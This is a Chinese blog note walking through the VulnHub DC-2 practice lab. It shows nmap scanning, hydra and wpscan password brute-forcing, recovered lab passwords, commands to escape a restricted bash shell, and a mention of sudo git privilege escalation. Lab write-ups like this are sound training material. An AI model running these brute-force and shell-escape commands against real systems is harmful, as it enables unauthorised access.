当前位置:网站首页>vulnhub之DC2
vulnhub之DC2
2022-06-10 21:38:00 【天下 (天衍师)】
简述:各位兄弟可移步至https://blog.csdn.net/shuteer_xu/article/details/116141639,直接看这位师傅的即可,本人只当成一个笔记
老三样,主机发现,端口扫描,指纹识别
主机发现
nmap -sS 192.168.43.0/24

全端口扫描
nmap -A -p- 192.168.43.130

共发现 7744为ssh端口处于开放状态,使用hydra进行爆破,使用
hydra -L /opt/user.txt -P /opt/mima.txt ssh://192.168.43.130:7744该命令进行爆破尝试,未发现相应结果
80为Apache端口,nmap显示会重定向到http://dc-2中,修改/etc/hosts文件,添加192.168.43.130 dc-2
指纹识别,使用whatweb进行指纹识别,发现为wordpress,使用wpscan进行检测,扫描并未发现相应漏洞可以进行利用,尝试进行枚举用户名,
使用浏览器访问即可,发现有flag页面,显示需要使用cewl获取密码字典,使用cewl dc-2 >pass.txt 该命令获取密码字典
共发现三个用户名:admin,jerry,tom,将三个用户名存储为user.txt,使用我wpscan爆破账号所对应的密码
wpscan --url http://dc-2/ -U user.txt -P pass.txt
共发现
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
对应的用户名和密码
尝试连接ssh jerry未成功登陆,tom成功登陆,显示该用户所能够执行的命令
echo $PATH
echo /home/tom/usr/bin/*

发现tom用户仅仅能够使用less,scp,ls,vi四个命令,此文件夹下存在flag3.txt文件,提示我们需要su到jerry用户中,
但是输入su jerry缺显示命令未找到,看大佬的博客,存在rbash,相当于权限控制,使得用户无法执行某些命令,需要进行绕过rbash
采用大佬提供的命令
[email protected]‐2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
[email protected]‐2:~$ export PATH=$PATH:/bin/
[email protected]‐2:~$ export PATH=$PATH:/usr/bin

即可绕过rbash进行切换用户的操作,切换到jerry用户下,接下来需要提权操作
sudo -l 查看当前用户所能够使用的root命令
显示存在一个git可以使用sudo执行
查找git提权命令,师傅的博客中提供的链接里面有两种git提权方法,我使用的是第一种,成功提权,第二种,估计是能力不够,实现不了提权的操作
以下为师傅的博客地址,
https://blog.csdn.net/shuteer_xu/article/details/116141639
边栏推荐
猜你喜欢

Tcapulusdb Jun · industry news collection (V)

Niuke: expression evaluation

Web3生态去中心化金融平台——Sealem Finance

Mmcv Config class introduction

Tcapulusdb Jun · industry news collection (IV)

MySQL master-slave replication solves read-write separation

【TcaplusDB知识库】TcaplusDB查看进程状态介绍

How to run Plink software -- three methods

MySQL主从复制解决读写分离

【TcaplusDB知识库】TcaplusDB TcapDB扩缩容介绍
随机推荐
That's great. The Ministry of industry and information technology has launched an internet account with a "one click unbinding" mobile phone number, which can be called an artifact
Typescript - declaration files and built-in objects
But it shows that you are the most native zaifkmw in five counties
[tcapulusdb knowledge base] tcapulusdb machine initialization and launch introduction
CCF CSP 202109-1数组推导
Is it safe for BOC securities to open an account? What is its relationship with the Bank of China?
Swin_ Interpretation of transformer source code
Opencv_100问_第三章 (11-15)
UE4骨骼动画新手入门
【TcaplusDB知识库】TcaplusDB推送配置介绍
Custom view: graphics and image processing (I): using simple pictures
[raise bar C #] how to call the base of the interface
图像拼接摄像头拼接笔记
Niuke: expression evaluation
【TcaplusDB知识库】TcaplusDB进程启动介绍
PKI/TLS瑞士军刀之cfssl
Face recognition software based on deepface model
重排 (reflow) 与重绘 (repaint)
README
TcaplusDB君 · 行业新闻汇编(三)